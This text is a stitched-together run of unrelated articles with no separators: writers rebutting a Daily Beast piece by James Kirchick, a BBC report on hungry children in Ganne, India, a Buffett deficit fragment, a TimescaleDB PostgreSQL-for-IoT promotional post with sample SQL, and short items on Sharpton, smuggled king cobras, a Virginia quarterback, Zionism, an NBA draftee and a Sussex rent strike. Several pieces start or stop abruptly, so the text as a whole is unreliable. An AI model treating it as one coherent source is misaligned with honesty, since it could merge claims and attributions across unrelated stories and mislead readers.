The Daily Beast, the home of Kirchick's misleading article, came under fire earlier this month for questionable editorial standards regarding a controversial piece that outed several LGBT Olympic athletes whose lives could potentially be threatened in their home countries. The Daily Beast later retracted the article, in the midst of widespread public backlash.
In many ways, Kirchick's anti-leftist screed serves a larger ideological purpose, like much of the neoconservative foreign-policy coverage in The Daily Beast. His hit piece stigmatizes critics of U.S. militarism as "supporters," "admirers" and "defenders" of fascistic billionaire Donald Trump and tools of Russian President Vladimir Putin.
Given Kirchick did not allow the writers, journalists and scholars he falsely accused of being Trump fans to respond to the smears, their own words follow.
Glenn Greenwald
"I've devoted my entire career in journalism to defending the precise political values Trump is assaulting, beginning with civil rights for Muslims and adherence to the laws of war.
"Almost six months ago, I wrote an article urging the US media to abandon their feigned neutrality constraints to more aggressively and overtly denounce Trump's extremism.
"What The Daily Beast published is an outright lie in stating or implying that I'm a Trump supporter, but because it's The Daily Beast, nobody expects them to retract or even correct it because that's what they are."
Ishaan Tharoor
"Kirchick quoted one tweet of mine where I expressed joking appreciation of Trump’s rejection of the concept of 'American exceptionalism' — something Trump has clearly not even thought through properly. He then twisted it to try to suggest I support the Republican nominee.
"You don’t even need to read a year’s worth of my articles — just look at other tweets — to know how a pathetic and laughable Kirchick’s smear is."
On Twitter, Tharoor added, "how I can be labeled a Trump admirer is beyond me," and called out Kirchick and The Daily Beast for printing a "baseless smear."
Katrina vanden Heuvel
"I believe -- as does The Nation which I edit and publish -- that Trump's bigotry, his visceral contempt for immigrants, Muslims, women and facts, his trafficking in insults rather than ideas, make him unfit for office.
"Kirchik has for several years now smeared those, including my husband -- an esteemed Professor of Russian & Soviet Studies for five decades -- who warn of a new Cold War and argue that we need a serious debate about America's role in the world.
"My interest is in seeing a serious challenge to a failed bipartisan foreign policy establishment and the development of an alternative foreign policy.
"But Trump is just about the worst messenger for that alternative foreign policy. And tragically he may make it less likely that genuine alternatives will get a fair hearing."
Stephen Kinzer
"Trump is among the most destructive politicians to emerge in the modern United States, although the competition is stiff.
"Nonetheless it has been an utter delight to watch the screams of outrage he elicits from the encrusted foreign policy establishment.
"Common-sense ideas like fighting ISIS rather than the Assad regime in Syria, reducing our subsidy for European security, recognizing Russia as a potential partner rather than an enemy, and treating Palestinians and Israelis equally have never been pronounced by a person in Trump's position.
"Warmongers consider this heresy unforgivable, and are flocking to the Democratic side."
Zaid Jilani
"Donald Trump's quote-unquote 'campaign' seems designed to be like one long internet comment thread, designed to shout obscenities and absurd accusations at the loudest volume simply to get attention.
"He sometimes says reasonable things, and because he's a major party presidential candidate, that merits some attention — but that doesn't make his overall effort any less nihilist.
"I am not a Trump supporter."
Sherle Schwenninger
"Kirchick is correct that I have not endorsed Trump, and as a non-partisan analyst of U.S. foreign policy and as a convener of thinkers on the world economy, I try to steer away from taking partisan positions, and as such I do not support Trump or Clinton.
"I view it to be my responsibility to analyze as honestly as I can underlying political and economic trends and the likely effects of different policies on the broad public interest. As a relatively insignificant figure in the political world, that is the only value I can offer. As an analyst, there are aspects of both Clinton’s and Trump’s international policies that I would be critical of and aspects that I believe are or could be made to be in the public interest.
"In this respect, the quote from my short contribution to a Nation forum should be seen as an unremarkable analytical statement — I think that even Kirchick would agree that Trump’s economic nationalism would bring an end to the globalist agenda that has guided US foreign policy and international economic policy for the last 25-30 years. That is his real complaint.
"Do I believe that the muscular interventionism associated with the globalist agenda has caused serious damage to the international order and to the interests of middle class America? I certainly do.
"Do I think it is important to re-think certain aspects of the foreign policy orthodoxy of the past 20 years? I certainly do.
"There is one thing Kirchick wrote I would like to correct. New America is not a left-wing foundation. It is a non-partisan think-tank and civic enterprise. On most issues, it has a variety of viewpoints, including on issues of foreign policy and international economic policy as anyone familiar with New America would know."
Jeet Heer
"James Kirchick's article is absurd, basically built on the obviously false premise that anyone who criticizes Clinton is pro-Trump.
"I've been criticizing Trump's racism going back to his birther days in 2011 -- and criticized the Republicans for embracing him in 2012.
"I would say that James Kirchick misrepresents not just me but almost everyone he writes about in this article."
Rania Khalek
"The suggestion that I harbor admiration for Trump is an incredible smear.
"As I’ve stated repeatedly and written about at length, Trump is an unhinged and dangerous demagogue who is whipping up fascist sentiments that should concern us all.
"But I expect nothing less from neoconservative propagandist Jamie Kirchick, a professional liar who seeks to liberate the world through American bombs and perpetual warfare, much like Hillary Clinton, the candidate he’s endorsed for president.
"If anything, Trump is a disaster for the left. Fear of his incoherently isolationist posturing has led to a convergence of the various pro-war factions in Washington, DC. They’re all backing Hillary Clinton, which means that regardless of how dangerous Trump is, we have to push back against her disastrous foreign policy agenda.
"That's not pro-Trump. It's pro-peace."
Corey Robin
"All I have to say about Jamie Kirchick and his article I said right here," Robin said, linking to the following tweet:
"All the rest is commentary," Robin added.
Walker Bragman
"The piece James Kirchick is referring to argues that the hysteria over Trump is overblown because he and Clinton are both awful.
"It says something that people like Kirchick — people who characterize American interventionism over the past half-century as 'America using its power for good' — are backing Clinton so fervently.
"I think ultimately what we're seeing is a realignment — the GOP fading and the Democratic Party rushing to swallow up its voters —which will split the party.
"And one more thing: the first Clinton presidency was awful for the poor and minority communities. There's no guarantee, given her record, that the second will be any different.
"He totally missed the point."
Bragman pointed to an interview he did on CNN in which he discussed why he supports Jill Stein.
"Jill Stein represents my values. I don't think Hillary Clinton does. I definitely don't think Donald Trump does," Bragman said in the interview.
He called both Clinton and Trump "intolerable."
Patrick Lawrence
"James Kirchick gets no further than labels and name-calling.
"This piece is at bottom sheer politics. Kirchick here take his place in the concerted media campaign to advance Hillary Clinton to the White House. There’s little more to it.
"He has nothing to contribute otherwise apart from an implicit assertion that things must remain as they because they are as they are. It’s not a position.
"The consistent point in my pieces is simply to urge that we get beyond all hyperbole, listen with open ears, and think for ourselves. Hillary Clinton has a few good things to say and a lot of bad. It is the same for Trump."
Lawrence also pointed out that the line Kirchick quoted — “Trump opposed Iraq. Hillary voted for war: Let’s take his foreign policy vision seriously” — was not something that he wrote. Rather, it was the headline of the article, and he did not choose that headline.
Christopher Ketcham (the lone Trump voter)
"Trump, who I’ll still vote for, is an ignorant, vicious, narcissistic, racist, capitalist scumbag, and thus an accurate representative of the United States.
"With him as president, the veil would be off the monstrousness of the empire. Let’s have a real asshole run an asshole of a country."
Jeremy Kuzmarov
"What an atrocious, McCarthy-type smear job.
"In that essay I said right up front that Trump 'may be a bigot' — my point was that his invocation of the unfairly maligned America First organization was not part of his bigotry.
"The America First committee was the largest antiwar organization in American history with support from dozens of congressmen and celebrities, famous writers, and even former and future presidents and was supported by midwestern socialists and isolationists.
"As I explained in the article, it grew out of the post world war I environment in which much of the public felt they had been lied to into a war that yielded great destruction and suffering, and only exacerbated the divisions among the European powers in the face of the flawed settlement at Versailles, which blamed Germany for everything and fueled German nationalism and desire for revenge. The organization also warned that in the effort to destroy totalitarianism through violence, America would become totalitarian itself.
"The organization was smeared because of a speech given by Charles Lindbergh that did have some anti-Semitic undertones in his insinuation of Jewish ownership and influence in the media and government. However that speech was condemned by the America First leadership and Lindbergh did not speak for the whole organization.
"After Pearl Harbor, it should be noted, the organization disbanded and some of its members became liberal internationalists. At this particular historical moment, I don't think America First is a bad tradition to invoke, and Trump is tapping into deep discontent with current American wars. This does not mean I support Trump in any way.
"I advocated at the end for progressives to try and reach out and educate Trump's supporters rather than simply ridiculing them or anything Trump says, when there is a deep discontent with pervading policies he is tapping into and not everything he says is terrible (only perhaps 60 to 70 percent of what he says maybe; free trade he has made some sense too even if his own company exports jobs).
"In a later column, I suggested that Trump's use of neocon Zalmay Khalilzad to introduce him for a big speech showed the inconsistency and double standards of his rhetoric."
Stephen Cohen
"Since mid-2000s I have been warning we were drifting into new and more dangerous Cold War with Russia due largely (not only) to U.S. policy. This has certainly been in play since Georgia in 2008 and very dangerously since the Ukraine confrontation began in 2014.
"The mainstream media — NYT, WP, WJS, cable and broadcast TV have deleted, refused to discuss, this fateful and exceeding dangerous development. Those of us who understand it and want a different US policy have had to resort to alternative media, such as they are on foreign policy.
"Then, unexpectedly, along came Trump, a most imperfect messenger but one who seems to be proposing an end or diminishing of the new cold war with Russia (eg, in Syria, possibly in Ukraine).
"I am not a Trump supporter and have no ties to his campaign (or to Clinton’s), but I have seen Trump’s remarks, properly formulated, as a way to instigate media/elite discussion of 25-years of unwise bipartisan DC policy toward post-Soviet Russia. (I have two books on this.)
"Instead, we get McCarthy-like slurs hurled at people like me — 'Putin apologist,' etc. — and Trump himself ('Putin’s puppet,' etc.) all meant, it seems, to shut off any substantial debate about foreign policy, even in a presidential election year.
"Kirchick has been in the forefront of this slurring (certainly versus me) since 2014, so am not surprised he is at it again versus everyone. Only somewhat different in his new Daily Beast piece is his full-throated defense of the basic canons of that bipartisan consensus: e.g., democracy promotion, nation building, military intervention, boundless NATO expansion, American 'exceptionalism' in world affairs, etc.
"Fine, let us debate these principles and their policy record since the 1990s, but instead Kirchick (not only) slurs those of us who think our nation needs and has democratic right to such a full public debate, and by the candidates.
"He wants to intimidate and marginalize us, and in the latter he and the others have succeeded to a large degree. What he and the others do is undemocratic and if we are a democracy, un-American."
Cohen added that, while he has published in The Nation for many years, and long before Katrina vanden Heuvel became an editor, "This does not mean I am a 'left-wing' scholar or media presence."
"Substantial parts of my thinking are not comfortably 'left-wing,' whatever that means. But this is another label Kirchik and others throw around for their own political purposes," he added.
"My bottom line is factology, not ideology."
BBC News, Ganne, Uttar Pradesh
Children in Ganne have to eat dried mud and silica "We live on a day-to-day basis," Suraj says, as the faint sound of hammering echoes across the village. "What we earn is what we spend on our families in a day." In Ganne, just off the main road about an hour south of the city of Allahabad, this is a simple fact of life. It is home to members of a poor tribal community, who live in small huts clustered around a series of shallow quarries. Inside one of the huts sits a little girl called Poonam. She is three years old, and in the early stages of kidney failure. Like many children in Ganne she has become used to eating bits of dried mud and silica, which she finds in the quarry. Tiny children chew on the mud simply because they are hungry - but it is making them ill. When reports first emerged of children eating mud here local officials delivered more food and warned the villagers not to speak to outsiders. But Poonam's father, Bhulli, is close to despair. What can we do? We eat the mud from the quarry when we feel hungry
Phulkari
Villager "What can I say," he shrugs. "We can't afford to eat properly, so how can I afford to buy medicines for her?" "I am really worried about my daughter, but I don't know what to do next. The poor need the government's help - if we had it, we wouldn't be in such a desperate state." People like Bhulli and Suraj make their money filling lorries with bits of rock. It takes about eight hours for five men to fill one load. They carry the stones up from the quarry in plastic washing-up bowls balanced on their heads. One of the women in the village, Phulkari, approaches to tell us about her little boy. "My son's name is Suraj, and he's started eating mud too," she says. "What can we do? We eat the mud from the quarry when we feel hungry." "Where do we get the money?" she asks. "We usually eat food only once a day. Last night we went to bed without eating anything at all." Food protests The World Bank estimates that one third of all the very poorest people in the world live in India, and stories like those from Ganne have now inspired a national Right To Food campaign. There have been protest rallies in the heart of Delhi, as the Indian parliament prepares to debate a new Food Security Bill. It will dictate how many people in the country get access to massively subsidised food grain. There's no doubt that India should be able to afford to feed its people. But the devil is in the detail. "It'll only cost the government about 1.2% of GDP to universalize a system of giving food for all, cheap food for all," says Kavitha Srivastava, the national coordinator of the Right to Food campaign. "They can do it, if they have the political will. It's prioritising - where do you want to put the money?" "We think it should go in building people's nutrition levels. You can't have a country which is weak, which is hungry, which is anaemic. How can you have a nation like this?" Now the government seems to be prepared to accept a new way of defining poverty, which will increase the number of people below the poverty line by more than 100 million to about 372 million. If you simply throw money at this problem...you'll have to throw four times the amount to get the result you want. And the government of India can't afford that.
Dr Kaushik Basu
Finance ministry economic advisor If international poverty standards were used, the number would be much higher still - and some Indian economists believe it should be. But whichever figure is used, the poverty line feels like a rather fictitious divide because feeding more than a billion people is a massive logistical exercise. Vast quantities of food provided by the state go missing every day because of corruption and theft. "Food ought to be a right," says Dr Kaushik Basu, the Chief Economic Advisor at India's Ministry of Finance. "And I believe this is a movement in the correct direction." "But what worries me at times is that we're being too glib and quick about the delivery mechanism." Official estimates are that right across the country 75% of subsidised grain does not make it to the intended target in villages like Ganne. "So if you simply throw money at this problem, you'll have to throw four times the amount to get the result you want," says Dr Basu. "And the government of India can't afford that. The budget will go bust." In other words, the delivery system needs to be reformed as well - and corrupt local officials need to be taken to task. There is a long way to go. Daunting challenge Jean Dreze, a highly respected Belgian-born academic who has worked in India for many years, points out that the current debate is only about the most basic levels of food intake. There are fair price shops where people can buy subsidised foodgrain "For a family of five to have reasonably good nutrition, nothing like meat or fish or any such thing, but just one egg per person per day, one banana, some dhal, some vegetables, a reasonably balanced diet - it would cost more than 200 rupees ($4.4; £3) per family per day," he says. And that is far more than the amounts being discussed at the moment. It is a sobering reminder that feeding India is a daunting challenge - the government knows it, and the prime minister says it must be a priority. But the Right to Food Campaign insists they are not doing enough. The Indian economy continues to grow at impressive speed, and there is no shortage of food in the country. It just isn't reaching the people who need it most, on a consistent basis. So in Ganne they continue to eat mud. And without finding a solution here in India, the world will come nowhere near the targets it has set itself for reducing global poverty.
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On the one hand, I’m fairly confident Buffett is correct that if such a law were passed, the deficit would shrink to below 3% of GDP. On the other hand, I’m presuming Congress would have to pass that law. How likely is that?
The Republicans are talking about a balanced budget amendment to the Constitution. They also seem to like the idea of term limits (that is, until they’ve actually been elected). Buffet’s plan combines the two ideas. I’d love to see Buffett’s idea go viral, pushing Congress to enact it... but I don’t foresee that happening.
It’s no secret that the so-called “Internet of Things” isn’t about the Things, but the data. And it is a lot of data. Every day, more of the physical world — manufacturing operations, food production systems, trains we commute on — is connected to the Internet and automated, creating more and more streams of sensor data.
Multiply the millions of things by the amount of data per device, and you get an exponentially growing torrent of information being used to make better business decisions, provide better end user experiences, and produce more while wasting less.
Most engineering teams (including ours, early on in our company history) working on these initiatives end up storing all of this data in multiple databases: metadata in a relational database, time-series data in a NoSQL store. Yet each of these databases operate differently; running a polyglot database architecture adds operational and application complexity that’s unnecessary.
You don’t need to do this.
In this post, we’ll show you how to keep all of your IoT relational and time-series data together in PostgreSQL (yes, even at scale), and how that leads to simpler operations, more useful contextualized data, and greater ease of use. We’ll also highlight other awesome PostgreSQL features relevant to IoT, like query power, flexible data types, geospatial support, and a rich ecosystem.
By the end, if you’re convinced that PostgreSQL + TimescaleDB is the ideal database for your IoT project, then please get in touch and tell us if/how we can help.
Yes, PostgreSQL can scale
We’ll start with the most common question we hear:
“Will PostgreSQL scale to support my IoT data rates?”
Scale is the number one concern that developers have about PostgreSQL. And that’s completely valid. IoT backends need to support high data ingest rates, while writes on PostgreSQL slow to a crawl as your dataset grows:
Insert benchmarks reveal vanilla PostgreSQL falls off a cliff as your dataset grows.
But it turns out that for time-series data, if your database is architected the right way, you can scale PostgreSQL to hundreds of thousands of inserts per second, at billions of rows, even on a single node with a modest amount of RAM.
This insight is what led us to develop TimescaleDB, a new open-source time-series database launched earlier this year. TimescaleDB achieves significant performance improvements by automatically partitioning data across time and space behind the scenes, while presenting the illusion of a single, continuous table (called a “hypertable”) across all partitions to the user. Most importantly, TimescaleDB does this while appearing like a normal PostgreSQL instance (in fact, packaged as a PostgreSQL extension, not a fork) to the developer and the outside world.
We benchmarked TimescaleDB against PostgreSQL by loading 1 billion rows, with 10 metrics per row, into a single instance of each.
Here are the results:
TimescaleDB shows 20x faster insert performance and 15x faster data loading time than vanilla PostgreSQL.
In short, TimescaleDB is more than 20x faster than vanilla PostgreSQL when inserting data at scale. The average insert rate for TimescaleDB in this benchmark is 111k rows (1.11M metrics) / second, within a relatively narrow band (as displayed above), while PostgreSQL insert performance drops to 5k rows (50k metrics) / second. But most importantly, TimescaleDB enables you to scale to 1 billion rows with no real impact to insert performance.
(To learn more about TimescaleDB’s time/space partitioning and hypertables, please read our CTO’s detailed technical post.)
But what about data retention? Because time-series data volumes grow quickly, at some point you may want to delete old time-series data that you no longer need. And PostgreSQL does not handle massive deletions well. This is another problem that our time/space partitioning solves: when you need to eliminate old data, instead of deleting rows (and undergoing expensive vacuuming operations), TimescaleDB just drops the partition. And of course, this is all tucked away behind a data retention API.
Why run two databases, when you can run one?
We just saw how TimescaleDB scales PostgreSQL to large workloads, like that within IoT. Now let’s see what it lets us do.
Being able to store time-series data alongside relational data is incredibly powerful. For one, it leads to a simpler stack. Instead of two databases (NoSQL for sensor data, relational for sensor metadata), with all kinds of glue code in between, not to mention the operational headaches of having two databases… you only need one database:
Running one database for time-series and metadata (right) leads to a simpler stack, less application complexity, and less management/ops overhead than when running separate databases (left).
For example, let’s look at backups. Running two different databases means two different backup processes (and longer downtimes). Also, if the systems are backed up independently, then you run the risk of data integrity issues. Imagine this scenario: your time-series data has a backup from the last hour, but your relational data was backed up yesterday; so you now have time-series data referring to new devices whose metadata is lost.
Prioritizing simplicity leads to other advantages: A simpler stack is even useful at the edge, where running one database is hard enough (due to resource constraints), let alone two. Only needing a single database makes IoT prototyping easier. It also helps reduce the complexity of large sprawling IoT projects. As we recently heard from the CTO of a Unicorn IoT startup: “Aggressively consolidating our tech stack lets us sharpen our engineering team’s focus.”
Context, context, context
A single database for time-series data and metadata does more than just simplify your stack: it also lets you add context to your sensor data. Because what is point of collecting data if you don’t know what you’re measuring?
Here’s an example: One company we are working with is developing an IoT application to monitor manufacturing processes. This application involves close examination of assembly line data to catch defects and ensure a high quality product. Most of the assembly line data is time-series in nature: {machine_id, timestamp, measurement}. Yet that data is meaningless by itself without all the other operational metadata: the machine settings at that time, the line information, the shift information, etc. They have experimented with denormalizing their data, but that added an unreasonable amount of data bloat on each measurement.
With TimescaleDB and PostgreSQL, they can keep their metadata normalized, and add the necessary context to their time-series data at query time (via a SQL JOIN). For example, via a query like this:
-- Show me the average temperature by machine, for machines of a -- given type on a particular line, by 5 minute intervals SELECT time_bucket('5 minutes', measurements.time) as five_min, machine_id, avg(temperature) FROM measurements JOIN machines ON measurements.machine_id = machines.id JOIN lines ON machines.line_id = lines.id WHERE machines.type = 'extruder' AND lines.name = 'production' AND measurements.time > now() - interval '36 hours' GROUP BY five_min, machine_id ORDER BY five_min, machine_id;
[Show the average temperature by machine, for machines of a given type on a particular line, by 5 minute intervals.]
The power of SQL
Let’s take a step back and keep in mind the value of an IoT project: to collect, analyze, and act on data to improve utility/efficiencies, reduce downtime/waste, and provide better products and services. In other words, you need more than a data store: you also need an easy way to wring actionable insights out of your data.
This is where SQL comes in. While it’s been quite fashionable in the past several years to denounce SQL and praise NoSQL, the truth is that SQL is quite powerful and is starting to make a comeback (which is one reason why “NoSQL” is now getting “backronymed” to “Not only SQL”).
SQL includes quite a few useful features: e.g., multiple complex WHERE predicates (backed by secondary indexes); multiple aggregations and orderings; window functions, libraries of mathematical and statistical functions; and more.
-- Plot the change in temperature for ceiling sensors -- on linear and logarithmic scales, by 10 second intervals SELECT ten_second, temperature / lead(temperature) OVER data AS temperature_rise_linear, log(temperature / lead(temperature) OVER data) AS temperature_rise_log FROM ( SELECT time_bucket('10 seconds', time) as ten_second, last(temperature, time) as temperature FROM measurements JOIN sensors ON measurements.sensor_id = sensors.id WHERE sensors.type = 'ceiling' AND measurements.time >= '2017-06-01' GROUP BY 1 ORDER BY 1 ) sub window data AS (ORDER BY ten_second asc);
[Plot the change in temperature for ceiling sensors on linear and logarithmic scales, by 10 second intervals.]
TimescaleDB augments SQL by adding new functions necessary for time-series analysis, e.g., as shown with time_bucket and last in the query above.
SQL has another advantage: people across your organization already know it. You won’t need to train your engineers to learn a new specialized query language (or hire new ones), and non-technical users won’t need to rely as heavily on engineering (and engineering release cycles) to answer questions of the data. In other words, by leveraging SQL you can democratize your time-series data, letting more people across your organization access it.
Mark hits the nail on the head.
Flexible datatypes (including JSON)
JSON in a relational database? Eat your heart out, MongoDB.
When you start building your IoT product, you may not know what data you will care about, nor have a specific data schema in mind. Or later on, you may need very specific data structures (e.g., arrays).
Fortunately, PostgreSQL supports a broad spectrum of datatypes. It allows for semi-structured data (via JSON / JSONB support), but also a variety of other data types, including many numeric types, geometric types, arrays, range types, and date/time types.
-- Storing and querying JSON data in PostgreSQL SELECT time, sensor_id, type, readings FROM measurements ORDER BY time DESC, sensor_id LIMIT 50; time | sensor_id | type | readings ---------------+-----------+------+---------------------------------- 1499789565000 | 330 | 1 | {"occupancy": 0, "lights": 1} 1499789565000 | 440 | 2 | {"temperature": 74.0, "humidity": 0.81} 1499789565000 | 441 | 2 | {"temperature": 72.0, "humidity": 0.78} 1499789560000 | 330 | 1 | {"occupancy": 1, "lights": 1} 1499789560000 | 440 | 2 | {"temperature": 73.9, "humidity": 0.81} 1499789560000 | 441 | 2 | {"temperature": 72.1, "humidity": 0.79} 1499789555000 | 330 | 1 | {"occupancy": 1, "lights": 1} 1499789555000 | 440 | 2 | {"temperature": 73.9, "humidity": 0.80} 1499789555000 | 441 | 2 | {"temperature": 72.1, "humidity": 0.78}
[Some of our IoT customers store sensor data in JSONB, which allows indexing.]
Geospatial awesomeness
Often there is a geospatial component in the data from connected devices — physical things exist in a particular space, after all. In particular, geospatial information is important when the things are moving. One IoT use case we often see is asset tracking: e.g., tracking vehicles for fleet management, optimizing routes, reducing spoilage, etc.
TimescaleDB is packaged as a PostgreSQL extension, which means you can run many other PostgreSQL extensions in conjunction with it. One powerful extension is PostGIS, which adds a wealth of geospatial support (including new data types, functions, etc.) to PostgreSQL. By combining PostGIS with TimescaleDB, you can combine your geospatial and time-series data, in effect creating a scalable spatiotemporal database.
Data collected continuously from GPS locations of New York City buses over time.
A real ecosystem
Time-series databases don’t operate in a vacuum. They need connectors, for example, to data buses like Kafka, stream processing engines like Spark, or BI tools like Tableau. Most time-series databases are relatively new, and there hasn’t been enough time for an ecosystem to develop around them. On the other hand, PostgreSQL has been around for over 20+ years, and the community has built an expansive ecosystem around it.
Fortunately, TimescaleDB looks just like PostgreSQL. In fact, customers often ask, “Does Timescale work with X?” And as a quick Google search typically shows, there usually already exists a PostgreSQL connector for X, which will work with TimescaleDB out of the box.
Just like PostgreSQL, TimescaleDB works with the most popular data buses, stream processors, data visualization and BI tools (like the ones shown above), among others.
Last but (clearly) not least: Reliability
To be annoyingly obvious: the database you choose for IoT needs to be reliable (and not wake you up at 3AM). Unlike websites or mobile apps, IoT applications from the beginning are typically deployed in high-value scenarios. If you are using a database to monitor your factory line, then that database cannot go down.
This is where we rest on the shoulders of giants. In the past 20+ years, PostgreSQL has been battle tested in a variety of mission critical applications across a variety of industries. There is also another ecosystem of administrative tools that make reliability easier to achieve: streaming replication, hot standby, and more. TimescaleDB inherits this same level of reliability and ecosystem.
Choose PostgreSQL
There is a lot of noise in the IoT world right now, and it can be hard to decide what database to use for your IoT project. But sometimes the best option is the boring option: the database that just works. That’s PostgreSQL, which now (thanks to TimescaleDB) finally scales to handle IoT workloads and optimizes SQL for time-series data.
If you’re building a new IoT project or currently wrestling with a complex IoT stack, choose PostgreSQL and download TimescaleDB.
“Paddy wagon” is the term that offends Sharpton, a former Democratic presidential candidate. Trump used the term — which refers to a police van — during his remarks at an event honoring police officers in Brentwood, N.Y.
Sharpton is upset not just at what he says is an anti-Irish pejorative, he is also taking Trump to task for his advice to officers about how they should treat criminal suspects during arrests.
“When you see these thugs being thrown into the back of a paddy wagon, you just seen them thrown in, rough. I said, ‘Please don’t be too nice,'” Trump said.
“When you guys put somebody in the car and you’re protecting their head you know, the way you put their hand over…,” Trump said, pointing to his head. “Like, ‘Don’t hit their head and they’ve just killed somebody, don’t hit their head.’ I said, ‘You can take the hand away, OK?'” he continued, as officers in the audience laughed and cheered.
Liberal activists said that Trump was condoning police violence. Trump’s supporters said he was making a joke that is familiar to many police officers.
Ironically, Sharpton is not attending Saturday’s protest with an Irish-American activist. Instead, he will join Gyalwang Drukpa, the Head of the Drukpa Lineage of Buddhist.
Other protected reptiles were discovered in his home, officials say
(CNN) The discovery of three deadly king cobras in potato chip cans led to the arrest of a Southern California man on suspicion of illegally importing the snakes and other reptiles, according to a news release from the Los Angeles District Attorney's Office.
The man, named in an affidavit seen by CNN as Rodrigo Franco, was taken into custody after United States Customs and Border Protection inspected a package from Hong Kong and discovered the three live, 2-foot-long snakes crammed into potato chip canisters.
King cobras are protected under the Endangered Species Act and their import or export is banned under the Convention on International Trade in Endangered Species of Wild Fauna and Flora.
In addition to the snakes, the parcel, sent through the United States Postal Service, contained three albino Chinese soft-shelled turtles, according to the affidavit.
Franco also sent a package containing six protected turtles -- desert box turtles, three-toed box turtles and ornate box turtles -- from the United States to Hong Kong, but that shipment was intercepted by the United States Fish and Wildlife Service, according to the affidavit.
Now Phillip Sims is ineligible.
So, here is where things stand for the Cavs: A program that has struggled to find consistency at quarterback enters 2013 without either player who made a start a year ago.
Phillip Sims is the latest Virginia quarterback to leave the program. Peter Casey/USA TODAY Sports
Perhaps most telling? Neither move came as a terrible shock. Both players were frustrated with their roles last year, when coach Mike London played musical quarterbacks -- first starting Rocco, then Sims, then having them both split time. Rocco high-tailed it out after the season ended. On his way out, he had some choice words for London, telling Doug Doughty of the Roanoke Times, "It's an unhealthy environment for any quarterback at UVa. It was hard on all the quarterbacks, not just me."
With Rocco gone, Sims became the favorite to win the starting job. But he opened the spring No. 3 on the depth chart, and let his frustrations be known in cryptic statements to several local reporters. When he was asked if he was starting to feel more like himself on the field, Sims replied, "It really looks like it's headed in the opposite direction, but I'm here to play football, man" -- then refused to elaborate.
Sims did not grab a hold of the starting job in the spring. When the post-spring depth chart was released, Sims, David Watford and Greyson Lambert remained in competition. As much as he wanted to see Sims succeed, London did not hold back in a harshly worded statement Friday, calling Sims out for failing to adhere to basic guidelines.
"The thing we tell the young men who come to the University of Virginia to receive a world-class education and play for our football program is pretty simple,” London said. “Go to class. Show class and treat people with dignity and respect. Those directions are pretty easy to follow and they will lead you on a path of success.
“When an individual strays from those directions, it is very disappointing to me. Phillip Sims did not make the commitment he needed to succeed here."
Disappointing is probably putting it mildly. Sims was one of the most high profile recruits in the nation in 2010, ranked the No. 1 quarterback prospect in the country. He could have gone anywhere. London wanted him to stay close to home.
Sims chose Alabama.
After redshirting, Sims entered into a quarterback competition with AJ McCarron in 2011. Though Sims played as a redshirt freshman, he clearly would not become the starter for the Tide, and opted to transfer to Virginia.
The move was seen as a big victory for the Cavs, as they secured a high-profile talent from the most high-profile school in the nation. He was granted a waiver for immediate eligibility. But his arrival did not exactly calm the waters, as the Cavs struggled to a 4-8 mark.
So the Cavs go into the spring now with Watford and Lambert as their top two quarterbacks. Watford has not played since 2011 after redshirting last year; Lambert is a redshirt freshman. So is Matt Johns, sure to get more reps this fall.
Sims, for all his incredible potential, goes down as yet another example of a gifted player who cannot seem to figure out how to best utilize his natural talent.
What is Shire actually saying? Some history is required to answer that question. An understanding of Zionism cannot be separated from an understanding of the Nakba (the catastrophe in Arabic), which refers to the expulsion of approximately 750,000 Palestinians from their land and homes during the establishment of Israel in 1948. The history of the Nakba has been thoroughly documented, including by Palestinian, Israeli, and other historians.
I know about Zionism from my own relationship with it. I had some serious unlearning to do. When I was younger, I, too, identified as a Zionist (a “socialist feminist Zionist”) until I realized that my image of Zionism as the Jewish national liberation movement was seriously misguided. Instead, I learned that what had been done and was still being done to Palestinians in the name of Zionism was theft of land and denial of a people’s right to freedom and national liberation. It was about the privileging of those who were Jewish over Palestinians. This was not just about Israel’s military occupation of Palestinian lands that began in 1967, but was fundamentally about what happened before and during the creation of the State, and what continues to happen today.
In Israel, as well as in the U.S., the Nakba is often disregarded or denied altogether. Instead, the focus is on the creation of Israel as a haven for Jews, completely ignoring the mass dispossession of the Palestinian people.
But the Nakba is not only about the past; it is ongoing. Palestinian women, men, and children continue to be pushed off their lands and their homes and denied their basic freedom and rights. Israeli apartheid is woven into the fabric of society, and it is taking brutal forms. Home demolitions, ongoing construction of settlements, land confiscation, arrests, torture of prisoners, and military assaults are just some of what Palestinian families endure on a daily basis, not to mention lack of access to basic rights such as education, healthcare, employment, and the right to live with dignity.
What Shire’s feminism seems to ignore is that Palestinian women are forced to give birth at checkpoints; their homes are bulldozed because permission to build is denied from racist Israeli authorities; Palestinians face systemic discrimination wherever they are living; and mothers and fathers live in fear that Israeli soldiers or settlers will injure, imprison, or kill their children.
Zionism and Israel have always afforded preferential treatment to Jewish women—and men—over Palestinian women and men, in all aspects of life. This is the Zionism and the Jewish state Shire says is consistent with her feminism.
Last April, power forward Ivan Rabb announced that he would be staying for his sophomore year at Cal. The choice, in part, was to stand as one of Oakland’s hometown heroes – to leave a legacy of his own on the city he called home. Finally, that day has come and Rabb is officially a professional ball player.
With an increased amount of minutes and touches in his second year with the Bears, Rabb increased both his points per game and rebounds, but his efficiency took a hit, at least on paper, that is. His shooting percentage dropped from 61.5 percent to 48.4 percent from freshman to sophomore year. His effective field goal percentage and win shares also fell in 2017.
Rabb’s stock dropped tremendously in the draft as the date of the draft inched closer and closer. Rabb was a projected lottery pick in last year’s draft, but he fell to the second round, a gap which not only means a lot less money, but shorter contracts and less security for a roster position in the long-term scheme of things.
Rabb brings defensive rebounding and an agile 6’11” and 220-pound frame to the table. His all-around offensive games needs a bit of polish, but the NBA play style will likely tap into underutilized aspects of the power forward’s game.
The group of 30 voted to withhold their rent over with pest problems, broken utilities and redevelopment disruption after it emerged that the university was paying a £230,000 “golden hello” to new vice chancellor Michael Farthing.
In a statement, renters’ union Acorn, which was involved in organising the strike, reported:
After negotiations earlier today, the rent strike has been called off.
The deal includes £515 of compensation per student, alongside a guarantee that all necessary repairs will be carried out before the beginning of the Spring term and that the process for reporting problems with accommodation will be totally redesigned.
Akane Hirabayashi, a first year student and Kings Rd. resident said:
‘It’s a huge victory. I can’t believe we’ve won so fast! The residents of Kings Rd. are thrilled that our demands have been met in full. We are very happy that the university has proven so willing to listen to the concerns of students.’
Duncan Michie, ACORN organiser and third year Sussex student said: “This deal is an impressive victory for the union. We’re proud to have been able to protect our members’ interests and prove that real power comes from organising and taking action.”
A demonstration on Sussex campus, initially intended to put pressure on the university to meet the rent strikers’ demands, has been turned into a celebration rally.
